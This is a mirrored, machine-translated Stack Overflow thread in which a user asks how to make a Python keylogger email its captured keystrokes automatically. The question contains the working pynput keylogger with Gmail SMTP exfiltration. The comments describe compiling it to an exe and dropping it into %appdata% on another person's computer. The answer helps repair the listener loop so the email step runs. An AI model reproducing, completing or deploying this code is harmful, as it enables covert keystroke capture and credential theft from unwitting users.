【问题标题】:How to make python send an email automatically如何让python自动发送邮件
【发布时间】:2018-11-05 13:33:59
【问题描述】:

我正在尝试在 python 中制作一个简单的键盘记录器(用于合法渗透测试),但我无法让脚本自动向我发送电子邮件。

如果我将电子邮件代码放在键盘记录器之后,它不会向我发送 txt 文件,我认为这是因为键盘记录器脚本不断重复自己并且不确认我的电子邮件脚本,我该如何解决这个问题?

这是脚本:

    from pynput.keyboard import Key, Listener
import smtplib
import logging
import smtplib

log_dir = ""

logging.basicConfig(filename=(log_dir + "yourtext.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

email_user = 'EMAIL'
email_password = 'PASSWORD'
email_send = 'EMAIL'

subject = 'logger'

msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject

body = 'your text'
msg.attach(MIMEText(body,'plain'))

filename='yourtext.txt'
attachment  =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login('EMAIL','PASSWORD')


server.sendmail(email_user,email_send,text)
server.quit() 

【问题讨论】:

  • 我想你在这里陷入了一个循环:with Listener(on_press=on_press) as listener: listener.join()?
  • 分离您的记录器和电子邮件服务可能是一个更好的主意。让您的记录器保持运行,然后通过cron(或 Windows 上的计划任务)安排您的电子邮件服务,以按设定的时间间隔发送电子邮件。
  • @Idlehands 谢谢我使用 time.sleep(x) 安排了电子邮件脚本,但我会考虑你的建议
  • 我说的调度不是这个意思。我的意思是将您的电子邮件服务保存为一个单独的脚本,并使用您操作系统的任务调度程序每隔一段时间运行email.py。您可以email.pytime.sleep() 延迟运行,但如果发生错误,任务将不会在下一个间隔重新启动,因为脚本已经崩溃。
  • @idlehands 感谢您指定,但我希望将此脚本编译为 exe 并使其即插即用,并尽可能少地进行配置。假设我将键盘记录器放在另一台计算机上,我可以进入 %appdata% 目录将文件放入并运行它。我不想浪费时间下载整个其他程序并浪费更多时间来隐藏 Cron。

标签: python email keylogger


【解决方案1】:

首先,您没有在侦听器调用开始时添加任何中断,因此您的程序会陷入该循环并且没有标准可出来。

尝试在下面的代码中添加断点

with Listener(on_press=on_press) as listener:
listener.join()

您可以添加特定字符作为断点或某些行作为断点。

如果您的邮件发送代码不起作用,请尝试使用 Gmail API。 Gmail API Docs

根据以下代码修改你的文件:

def on_press(key):
    logging.info(str(key))

def on_release(key):
    logging.info('{0} release'.format(key))
    if key == Key.caps_lock:
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

您可以找到更多与上述代码相关的信息here

如果您无法接收邮件,可能是因为您没有启用 POP/IMAP。请按照以下步骤操作:

  1. 登录您的 Gmail 帐户
  2. 进入设置并点击转发和 POP/IMAP 部分。
  3. 在 IMAP 访问部分启用 IMAP。

【讨论】:

  • 你好,我添加了一个类似with Listener(on_press=on_press) as listener: pdb.set_trace() listener.join() 的断点,它在终端C:\Users\drossosa\Desktop\keylogger>py "C:\Users\drossosa\Desktop\keylogger\logger test 1.py" > c:\users\drossosa\desktop\keylogger\logger test 1.py(17)<module>() -> listener.join() (Pdb)中给了我这个,它让我输入命令这是什么意思?它有什么帮助?
  • 我将修改后的代码添加到脚本中,但我仍然没有收到电子邮件,它也只是告诉我密钥已释放,这并不是真正需要的。
  • 如果您不想打印发布密钥,可以从 on_release 函数中删除日志记录部分。此外,如果您没有收到邮件,可能是因为您没有启用 POP/IMAP(您可以在 gmail 的设置中启用。)
  • 我在没有键盘记录器的情况下单独测试了电子邮件脚本,它可以很好地发送文本文件,所以我的电子邮件不是问题
  • @AlexanderDrossos 如果您认为该解决方案回答了您的问题,请将其标记为已解决,以便其他人可以使用它。谢谢!
猜你喜欢
  • 1970-01-01
  • 2022-11-22
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2015-12-02
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多